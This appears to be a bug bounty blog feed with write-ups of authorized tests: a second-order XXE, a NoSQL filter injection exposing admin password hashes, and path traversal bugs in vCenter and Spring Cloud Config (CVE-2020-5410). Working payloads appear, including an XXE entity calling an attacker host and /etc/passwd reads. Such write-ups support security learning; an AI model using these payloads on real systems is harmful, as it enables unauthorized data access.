&lt;p&gt;It was showing different functionalities like incidents, tickets, changes, etc. The API was restricting access to some of the functionalities. However, only some of the functionalities were protected and most of the functionalities were accessible without any sort of authentication.&lt;/p&gt;
&lt;p&gt;Here, I was able to view all the open tickets.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/portal-tickets.png&#34; alt=&#34;Portal Tickets&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;takeaways&#34;&gt;Takeaways&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Collaborate with like-minded people.&lt;/li&gt;
&lt;li&gt;Do not give up if your way of exploiting does not work. Take a break and try again.&lt;/li&gt;
&lt;li&gt;Hacking is not as easy as I made it seem in this blog post. Sometimes I hack for more than 12 hours without finding a vulnerability or even something to play with. And sometimes I get lucky and find multiple vulnerabilities with something as simple as aquatone.&lt;/li&gt;
&lt;li&gt;Take vacations/holidays.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Thanks for reading. :)&lt;/p&gt;
&lt;p&gt;If you have any questions, you can reach me out on Twitter at &lt;a href=&#34;https://twitter.com/kuldeepdotexe&#34;&gt;@kuldeepdotexe&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Happy hacking!&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Second Order XXE Exploitation</title>
      <link>https://kuldeep.io/posts/second-order-xxe-exploitation/</link>
      <pubDate>Wed, 19 Oct 2022 17:59:25 +0530</pubDate>
      
      <guid>https://kuldeep.io/posts/second-order-xxe-exploitation/</guid>
      <description>Hello, guys!
This writeup is about my recent discovery on Synack Red Team which was a Second Order XXE that allowed me to read files stored on the web server.
Please note that this article is not about how/why/when of the XXE attacks. This is just a single case of a non-trivial interesting XXE that I found and seems worth sharing. If you want to learn more about XXEs, you may refer to the following links:</description>
      <content>&lt;p&gt;Hello, guys!&lt;/p&gt;
&lt;p&gt;This writeup is about my recent discovery on Synack Red Team which was a Second Order XXE that allowed me to read files stored on the web server.&lt;/p&gt;
&lt;p&gt;Please note that this article is not about how/why/when of the XXE attacks. This is just a single case of a non-trivial interesting XXE that I found and seems worth sharing. If you want to learn more about XXEs, you may refer to the following links:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity&#34;&gt;HackTricks XXE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://portswigger.net/web-security/xxe&#34;&gt;Portswigger XXE&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now to the blog.&lt;/p&gt;
&lt;p&gt;A fresh target was onboarded in the morning and I hopped onto it as soon as I received the email. In the scope, there were two web applications listed along with two postman collections. I prefer postman collections over web apps so I loaded the collections with their environments into my postman.&lt;/p&gt;
&lt;p&gt;After sending the very first request, I noticed that the application was using SOAP API to transfer the data. I tried to perform XXE in the SOAP body but the application threw an error saying &amp;ldquo;&lt;strong&gt;DOCTYPE is not allowed&lt;/strong&gt;&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/DOCTYPENotAllowed.png&#34; alt=&#34;DOCTYPENotAllowed&#34;&gt;&lt;/p&gt;
&lt;p&gt;Here, we cannot perform XXE as &lt;code&gt;DOCTYPE&lt;/code&gt; is explicitly blocked.&lt;/p&gt;
&lt;p&gt;Upon checking all the modules one by one, I came across a module named &lt;code&gt;NormalTextRepository&lt;/code&gt; in the postman collection which had the following two requests:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;saveNormalText&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetNamedNormalText&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/NormalTextRepository.png&#34; alt=&#34;NormalTextRepository&#34;&gt;&lt;/p&gt;
&lt;p&gt;After sending the first &lt;code&gt;saveNormalText&lt;/code&gt; request and intercepting it in Burp Suite, I found out that it contained some HTML-encoded data that looked like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/HTMLEncodedData.png&#34; alt=&#34;HTMLEncodedData&#34;&gt;&lt;/p&gt;
&lt;p&gt;Upon decoding, the data looked like this:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34;?&amp;gt;
&amp;lt;normal xmlns=&amp;#34;urn:hl7-org:v3&amp;#34; xmlns:XX=&amp;#34;http://REDACTED.com/REDACTED&amp;#34;&amp;gt;&amp;lt;content XX:status=&amp;#34;normal&amp;#34; XX:state=&amp;#34;normal&amp;#34;&amp;gt;Synacktest&amp;lt;/content&amp;gt;&amp;lt;/normal&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This quickly caught my attention. This was XML data being passed inside the XML body in a SOAP request (Inception vibes).&lt;/p&gt;
&lt;p&gt;I went on to try XXE here as well. For this, I copy pasted a simple Blind XXE payload from &lt;a href=&#34;https://portswigger.net/web-security/xxe/blind&#34;&gt;PortSwigger&lt;/a&gt;:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;lt;!DOCTYPE foo [ &amp;lt;!ENTITY % xxe SYSTEM &amp;#34;http://f2g9j7hhkax.web-attacker.com/XXETEST&amp;#34;&amp;gt; %xxe; ]&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I used Synack&amp;rsquo;s provided web server to test for this. Upon checking its logs, I found out that there indeed was a hit for the &lt;code&gt;/XXETEST&lt;/code&gt; endpoint.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/TUPoCHit.png&#34; alt=&#34;TUPoCHit&#34;&gt;&lt;/p&gt;
&lt;p&gt;This still was a blind XXE and I had to turn it into a full XXE in order to receive a full payout. I tried different file read payloads from &lt;a href=&#34;https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection&#34;&gt;PayloadsAllTheThings&lt;/a&gt; and &lt;a href=&#34;https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity&#34;&gt;HackTricks&lt;/a&gt; but they did not seem to work in my case.&lt;/p&gt;
&lt;p&gt;In my case, the XXE was not reflected anywhere in the response. This is why it was comparatively difficult to exploit.&lt;/p&gt;
&lt;p&gt;After poking for a while, I gave up with the idea of full XXE and went ahead to check if an internal port scan was possible or not as we were able to send HTTP requests.&lt;/p&gt;
&lt;p&gt;I sent the request to Burp Suite&amp;rsquo;s intruder and fuzzed for the ports from 1 to 1000. The payload for that looked like the following:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;lt;!DOCTYPE foo [ &amp;lt;!ENTITY % xxe SYSTEM &amp;#34;http://127.0.0.1:§1§/XXETEST&amp;#34;&amp;gt; %xxe; ]&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;However, the result of the intruder was just not making any sense to me. All the ports that I fuzzed were throwing random time delays.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/IntruderPortScan.png&#34; alt=&#34;IntruderPortScan&#34;&gt;&lt;/p&gt;
&lt;p&gt;Lost all hope and was about to give up on this XXE once again. Then a thought struck my head. &amp;ldquo;If this data is being saved in the application, it has to be retriveable in some way as well&amp;rdquo;. I checked the other &lt;code&gt;GetNamedNormalText&lt;/code&gt; request in this module and instantly felt stupid. This request retrieved the data that we saved from the first &lt;code&gt;saveNormalText&lt;/code&gt; request.&lt;/p&gt;
&lt;p&gt;I used the following XXE file read payload and saved the data:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ENTITY example SYSTEM &amp;#34;/etc/passwd&amp;#34;&amp;gt; ]&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then sent the second &lt;code&gt;GetNamedNormalText&lt;/code&gt; request to retrieve the saved data. And in the response, I could see the contents of the &lt;code&gt;/etc/passwd&lt;/code&gt; file!&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/EtcPasswd.png&#34; alt=&#34;/etc/passwd&#34;&gt;&lt;/p&gt;
&lt;p&gt;This was enough for a proof of concept. However, looking at the &lt;strong&gt;JSESSIONCOOKIE&lt;/strong&gt;, I could tell that the application was built using Java. And, in Java applications, if you just provide a directory instead of a file, it will list down the contents of that directory and return it.&lt;/p&gt;
&lt;p&gt;To confirm this theory, I just removed the &lt;code&gt;/passwd&lt;/code&gt; portion from the above file read payload. The updated payload looked like this:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ENTITY example SYSTEM &amp;#34;/etc&amp;#34;&amp;gt; ]&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Upon saving the above payload and retrieving it using the second request, we could see the directory listing of the &lt;code&gt;/etc&lt;/code&gt; directory!&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/EtcDirectoryList.png&#34; alt=&#34;/etc Directory Listing&#34;&gt;&lt;/p&gt;
&lt;p&gt;Sent it to Synack and they happily triaged it within approximately 2 hours.&lt;/p&gt;
&lt;p&gt;Thank you for reading. :)&lt;/p&gt;
&lt;p&gt;You can reach out to me at &lt;a href=&#34;https://twitter.com/kuldeepdotexe&#34;&gt;@kuldeepdotexe&lt;/a&gt;.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>NoSQL Injection in Plain Sight</title>
      <link>https://kuldeep.io/posts/nosql-injection-in-plain-sight/</link>
      <pubDate>Mon, 04 Apr 2022 22:14:09 +0530</pubDate>
      
      <guid>https://kuldeep.io/posts/nosql-injection-in-plain-sight/</guid>
      <description>Hello, folks!
This article is going to be about my recent discovery on Synack Red Team which was a NoSQL injection.
I asked if I should do a write-up or not in my Twitter and a lot of you responded with a writeup. Therefore, I am writing this article to showcase the finding.
Please note that this will not be a technical guide on why NoSQL injections exist and their breakdown.</description>
      <content>&lt;p&gt;Hello, folks!&lt;/p&gt;
&lt;p&gt;This article is going to be about my recent discovery on Synack Red Team which was a NoSQL injection.&lt;/p&gt;
&lt;p&gt;I asked if I should do a write-up or not in my &lt;a href=&#34;https://twitter.com/kuldeepdotexe/status/1507023576888934406?s=20&amp;amp;t=nWRb1rUsGdZzuTHbcgSotA&#34;&gt;Twitter&lt;/a&gt; and a lot of you responded with a writeup. Therefore, I am writing this article to showcase the finding.&lt;/p&gt;
&lt;p&gt;Please note that this will not be a technical guide on why NoSQL injections exist and their breakdown. I will just share the thought process and approach that I had when testing this particular application.&lt;/p&gt;
&lt;p&gt;So, when I got onboarded to this program, it had one application in scope. It was an authenticated test and credentials were provided by the client. Synack&amp;rsquo;s quality period was also going on and it had approximately 8 hours.&lt;/p&gt;
&lt;p&gt;As always, I fired up Burp Suite, opened Burp&amp;rsquo;s in-built browser, went to the login page, and started intercepting.&lt;/p&gt;
&lt;p&gt;I was closely monitoring every request after clicking &amp;ldquo;Login&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;First, there was a login request to the &lt;code&gt;/oauth2/token&lt;/code&gt; endpoint. This endpoint returned the JWT token that allowed us to access the application APIs. However, no fun here.&lt;/p&gt;
&lt;p&gt;After the login request, there was another request to a metadata endpoint. This also was not very interesting as the endpoint returned data that was going to be used to render the frontend.&lt;/p&gt;
&lt;p&gt;But after the first two requests, a request to the &lt;code&gt;/api/[CLIENT_NAME]/Customers&lt;/code&gt;  was sent. This request in particular was very interesting as it had a parameter named &lt;code&gt;$filter&lt;/code&gt;. And the parameter had a long NoSQL string inside it.&lt;/p&gt;
&lt;p&gt;The request looked like this:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;GET /api/[CLIENT_NAME]/Customers?$filter=(id%20eq%202)%20and%20((is_active%20eq%20%27Y%27)%20and%20(is_deleted%20eq%20%27N%27))&amp;amp;$orderby=name HTTP/1.1
Host: [TARGET_APPLICATION]
...
[SNIPPED_BECAUSE_IRRELEVANT]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you look at the value of the &lt;code&gt;$filter&lt;/code&gt; parameter, the URL encoded string decodes to the following filter:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;(id eq 2) and ((is_active eq &amp;#39;Y&amp;#39;) and (is_deleted eq &amp;#39;N&amp;#39;))
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This endpoint returned basic customer information like customer name, last login date, etc.&lt;/p&gt;
&lt;p&gt;You can see the full request-response pair below:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/customers.png&#34; alt=&#34;Request - Response pair&#34;&gt;&lt;/p&gt;
&lt;p&gt;I had read a few blogs on NoSQL injection in past. Especially after the HackIM CTF. So, I figured this was something related to NoSQL.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;eq&lt;/code&gt; in the &lt;code&gt;$filter&lt;/code&gt; is the same as SQL&amp;rsquo;s &lt;code&gt;=&lt;/code&gt; or &lt;code&gt;LIKE&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So, what the endpoint really did was that it read the value of &lt;code&gt;$filter&lt;/code&gt; and then it evaluated the filter and retrieved the data specified in the filter.&lt;/p&gt;
&lt;p&gt;To break down the parameters in the above filter,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;id&lt;/code&gt; (This was the customer ID. Our current user had the customer ID of 2. If I had changed it to 1 instead of 2, this would have been an easy IDOR.)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;is_active&lt;/code&gt; (This was an attribute our user had. The &lt;code&gt;is_active&lt;/code&gt; attribute would be &lt;code&gt;Y&lt;/code&gt; if our user was active and &lt;code&gt;N&lt;/code&gt; if not.)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;id_deleted&lt;/code&gt; (This was another attribute to specify if our user was deleted or not.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, the &lt;code&gt;/api/[CLIENT_NAME]/Customers&lt;/code&gt; endpoint took the filter and returned our own user(user ID 2)&amp;rsquo;s data &lt;strong&gt;if and only if&lt;/strong&gt; our user was active &lt;strong&gt;and&lt;/strong&gt; not deleted.&lt;/p&gt;
&lt;p&gt;For testing, I removed the later part which was &lt;code&gt;((is_active eq &#39;Y&#39;) and (is_deleted eq &#39;N&#39;))&lt;/code&gt; and just sent the following filter:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$filter=(id eq 2)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The application happily returned my data without erroring out.&lt;/p&gt;
&lt;p&gt;As I was aware that this was NoSQL, I googled &amp;ldquo;NoSQL wildcards&amp;rdquo; and tried to play around with wild cards. I came across the following documentation by MongoDB on wildcard indices: &lt;a href=&#34;https://www.mongodb.com/docs/manual/core/index-wildcard/&#34;&gt;https://www.mongodb.com/docs/manual/core/index-wildcard/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I played around with wild cards doing things like &lt;code&gt;$filter=($** eq 2)&lt;/code&gt; and some of it worked meanwhile some of it did not.&lt;/p&gt;
&lt;p&gt;I also tried to forcefully put wild cards in the value and crafted this payload: &lt;code&gt;$filter=(id eq $**)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;But it did not have a valid syntax so it also failed.&lt;/p&gt;
&lt;p&gt;I honestly did not put much effort into wildcards as I was not getting the syntax right.&lt;/p&gt;
&lt;p&gt;Then a thought popped into my mind. There was one operator in the filter called &lt;code&gt;eq&lt;/code&gt;. What if I use some other operator? Is it possible to do it?&lt;/p&gt;
&lt;p&gt;I googled &amp;ldquo;MongoDB syntax&amp;rdquo; which led me to this awesome documentation again by MongoDB: &lt;a href=&#34;https://www.mongodb.com/docs/manual/tutorial/query-documents/&#34;&gt;https://www.mongodb.com/docs/manual/tutorial/query-documents/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/querydocuments.png&#34; alt=&#34;Query Documents&#34;&gt;&lt;/p&gt;
&lt;p&gt;The above documentation very nicely explains MongoDB syntax with SQL alternative syntax to properly understand it.&lt;/p&gt;
&lt;p&gt;However, after going a little further into the documentation, the documentation linked to another documentation page which was about &amp;ldquo;Query and Projection Operators&amp;rdquo;. You can find it here: &lt;a href=&#34;https://www.mongodb.com/docs/manual/reference/operator/query/&#34;&gt;https://www.mongodb.com/docs/manual/reference/operator/query/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/reference.png&#34; alt=&#34;Reference&#34;&gt;&lt;/p&gt;
&lt;p&gt;And, this page was exactly what I needed to craft my exploit! The page listed down all the MongoDB operators and their use cases.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/operators.png&#34; alt=&#34;Operators&#34;&gt;&lt;/p&gt;
&lt;p&gt;I decided to go with the &lt;code&gt;gt&lt;/code&gt; operator because I wanted the endpoint to return user details of all the users whose user ID was greater than 0. I had made an assumption that user IDs will start from zero.&lt;/p&gt;
&lt;p&gt;For that purpose, I crafted the following payload:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$filter=(id gt 0)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And the application returned the customer information of the other user as well. Sadly there were only two users and this was a pre-production application. However, I still was happy because I got the info of the other user.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/customers-pwned.png&#34; alt=&#34;Customers Pwned&#34;&gt;&lt;/p&gt;
&lt;p&gt;I was still not happy with the results because only basic login information was leaked. Any sort of PII or sensitive information was not leaked from this endpoint.&lt;/p&gt;
&lt;p&gt;I went back to my Burp history and found all the endpoints that had this &lt;code&gt;$filter&lt;/code&gt; parameter. I had gathered a total of 7 endpoints.&lt;/p&gt;
&lt;p&gt;Closely inspecting the endpoints, I found one interesting endpoint called &lt;code&gt;/api/[CLIENT_NAME]/CustomerLogins&lt;/code&gt;. This was interesting because it took the filter as well as returned PII in the response.&lt;/p&gt;
&lt;p&gt;I used the same payload as above and sent the request. And the application leaked email address, username, password hash, and phone number! And that too of the administrator user. Not just any random user.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/passworddump.png&#34; alt=&#34;Password Dump&#34;&gt;&lt;/p&gt;
&lt;p&gt;I reported all the endpoints and wrote a nice report. There were few other reports for the same vulnerability after the QR had ended but my report managed to win.&lt;/p&gt;
&lt;p&gt;Thanks for the read. :)&lt;/p&gt;
&lt;p&gt;You can reach out to me at &lt;a href=&#34;https://twitter.com/kuldeepdotexe&#34;&gt;@kuldeepdotexe&lt;/a&gt;.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Path Traversal Paradise</title>
      <link>https://kuldeep.io/posts/path-traversal-paradise/</link>
      <pubDate>Sun, 23 Jan 2022 22:37:16 +0530</pubDate>
      
      <guid>https://kuldeep.io/posts/path-traversal-paradise/</guid>
      <description>Hi, guys!
This blog will be about all the different kinds of Path Traversals and Local File Inclusion vulnerabilities that I have found in Synack Red Team.
After hacking on Synack Red Team for approximately 9 months, I came to realise that Path Traversal and LFI like vulnerabilities are very common. I reported few authenticated vulnerabilities and few unauthenticated. However, I will try to cover both kinds of vulnerabilities.
Before moving forward, I&amp;rsquo;d like to list all my Path Traversal/LFI submissions.</description>
      <content>&lt;p&gt;Hi, guys!&lt;/p&gt;
&lt;p&gt;This blog will be about all the different kinds of Path Traversals and Local File Inclusion vulnerabilities that I have found in Synack Red Team.&lt;/p&gt;
&lt;p&gt;After hacking on Synack Red Team for approximately 9 months, I came to realise that Path Traversal and LFI like vulnerabilities are very common. I reported few authenticated vulnerabilities and few unauthenticated. However, I will try to cover both kinds of vulnerabilities.&lt;/p&gt;
&lt;p&gt;Before moving forward, I&amp;rsquo;d like to list all my Path Traversal/LFI submissions.&lt;/p&gt;
&lt;h3 id=&#34;submissions&#34;&gt;Submissions&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Submission&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://kuldeep.io/posts/path-traversal-paradise/#path-traversal-vulnerability-leads-to-source-code-disclosure&#34;&gt;Path Traversal Vulnerability Leads To Source Code Disclosure&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Accepted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://kuldeep.io/posts/path-traversal-paradise/#local-file-inclusion-in-vmware-vcenter-running-at-redacted&#34;&gt;Local File Inclusion in VMWare VCenter running at [REDACTED]&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Accepted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://kuldeep.io/posts/path-traversal-paradise/#spring-boot-path-traversal---cve-2020-5410&#34;&gt;Spring Boot Path Traversal - CVE-2020-5410&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Accepted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://kuldeep.io/posts/path-traversal-paradise/#local-file-inclusion-in-downloadphp&#34;&gt;Local File Inclusion In download.php&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Accepted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://kuldeep.io/posts/path-traversal-paradise/#local-file-inclusion-in-downloadphp&#34;&gt;Local File Inclusion In download.php&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Rejected (Duplicated my previous report)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://kuldeep.io/posts/path-traversal-paradise/#local-file-inclusion-in-downloadphp&#34;&gt;Local File Inclusion In download.php&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Rejected (Duplicated in quality period)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://kuldeep.io/posts/path-traversal-paradise/#path-traversal-allows-to-download-licence-keys&#34;&gt;Path Traversal Allows To Download Licence Keys&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Accepted&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&#34;descriptions&#34;&gt;Descriptions&lt;/h3&gt;
&lt;h4 id=&#34;path-traversal-vulnerability-leads-to-source-code-disclosure&#34;&gt;Path Traversal Vulnerability Leads To Source Code Disclosure&lt;/h4&gt;
&lt;p&gt;This was the very first Path Traversal vulnerability that I had found in Synack Red Team. Also, even though I was pretty new to the platform and to the whole bug bounty thing in general, this report won the quality round so I am very proud of this particular report.&lt;/p&gt;
&lt;p&gt;After logging into the application, the application provided a bunch of sections like manage vendors, manage inventory, etc with a bunch of functionalities.&lt;/p&gt;
&lt;p&gt;Upon further inspecting these sections, I came across an interesting functionality that involved importing the data. The file was named &lt;code&gt;DataImport.view&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/DataImport.png&#34; alt=&#34;DataImport.view&#34;&gt;&lt;/p&gt;
&lt;p&gt;I tried getting RCE by uploading a web shell and it actually worked! However, that&amp;rsquo;s a different story. We want to discuss Path Traversals here and not RCEs.&lt;/p&gt;
&lt;p&gt;So, after successfully uploading a file, we were given the functionality to read the file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/ReadFile.png&#34; alt=&#34;ReadFile&#34;&gt;&lt;/p&gt;
&lt;p&gt;After clicking the &amp;ldquo;&lt;strong&gt;ReadFile&lt;/strong&gt;&amp;rdquo; button, it filled the file name field to the current uploaded filename by default. However, we had the ability to change the file name.&lt;/p&gt;
&lt;p&gt;Now, I just had to provide a valid file name. For this, I used the &lt;code&gt;Auth.aspx&lt;/code&gt; to which the login request was sent. I could be sure that this exists because a login request was sent to this file and it resided in the webroot.&lt;/p&gt;
&lt;p&gt;So, I tried to do path traversal using payloads like &lt;code&gt;../Auth.aspx&lt;/code&gt; and &lt;code&gt;../../Auth.aspx&lt;/code&gt; etc.&lt;/p&gt;
&lt;p&gt;And, after three &lt;code&gt;../&lt;/code&gt; sequences, the file was actually returned!&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/Auth.png&#34; alt=&#34;Auth.aspx&#34;&gt;&lt;/p&gt;
&lt;p&gt;The response looked like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/AuthResponse.png&#34; alt=&#34;AuthResponse&#34;&gt;&lt;/p&gt;
&lt;p&gt;The file was broken because some sort of XML parsing was done on it. I still went ahead and reported it because it was still a path traversal issue and disclosed source code contents.&lt;/p&gt;
&lt;p&gt;I could do more creative things here like pulling more sensitive files but I stopped here because very limited time was left in the quality round. I initially did not care much for this vulnerability as I had already reported an RCE there but then quickly made a report in under 15 minutes putting together all my PoCs and I still won the quality round.&lt;/p&gt;
&lt;h4 id=&#34;local-file-inclusion-in-vmware-vcenter-running-at-redacted&#34;&gt;Local File Inclusion in VMWare VCenter running at [REDACTED]&lt;/h4&gt;
&lt;p&gt;This was the classic VMWare VCenter &lt;code&gt;/eam/vib&lt;/code&gt; LFI vulnerability.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;/eam/vib&lt;/code&gt; endpoint in VMWare VCenter instances takes a parameter named &lt;code&gt;id&lt;/code&gt; in the GET request. The value to this &lt;code&gt;id&lt;/code&gt; parameter is a file name that will be retrieved by the VCenter instance and will be given back in the response.&lt;/p&gt;
&lt;p&gt;There are already many resources regarding this particular vulnerability and I do not think much is to be said about it in this particular article.&lt;/p&gt;
&lt;p&gt;I used the following payload to retrieve the &lt;code&gt;hosts&lt;/code&gt; file off the remote server:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https://[REDACTED]/eam/vib?id=C:/WINDOWS/System32/drivers/etc/hosts
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There were some IP to host mappings in the &lt;code&gt;hosts&lt;/code&gt; file which I thought was enough for impact but with creativity, more could have been achieved.&lt;/p&gt;
&lt;p&gt;I reported the issue during the quality round and this also won the QR.&lt;/p&gt;
&lt;h4 id=&#34;spring-boot-path-traversal---cve-2020-5410&#34;&gt;Spring Boot Path Traversal - CVE-2020-5410&lt;/h4&gt;
&lt;p&gt;This was a known vulnerability in Spring Boot Cloud Config server. For PoC, I referred to this article here: &lt;a href=&#34;http://www.jrasp.com/case/CVE-2020-5410.html&#34;&gt;http://www.jrasp.com/case/CVE-2020-5410.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;That article talks in detail about the vulnerability and also explains the source code.&lt;/p&gt;
&lt;p&gt;I did not read that much and simply took the PoC from there and used it on the target that I had for testing. And the exploit worked!&lt;/p&gt;
&lt;p&gt;I used the same payload as in the PoC which is:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https://[REDACTED]/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The above payload retrieves the &lt;code&gt;/etc/passwd&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;However, this was Java and one odd thing about Java Path Traversals/LFIs is that if you specify a directory instead of a file for opening, it will actually list the content of that directory.&lt;/p&gt;
&lt;p&gt;So, for example, if I did not know what files were in the &lt;code&gt;/etc&lt;/code&gt; directory, I would simply use the following payload to list all the files:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https://[REDACTED]/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%23foo/development
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is just the previous payload with the trailing &lt;code&gt;/passwd&lt;/code&gt; removed. Now, we are just listing the contents of the &lt;code&gt;/etc&lt;/code&gt; directory.&lt;/p&gt;
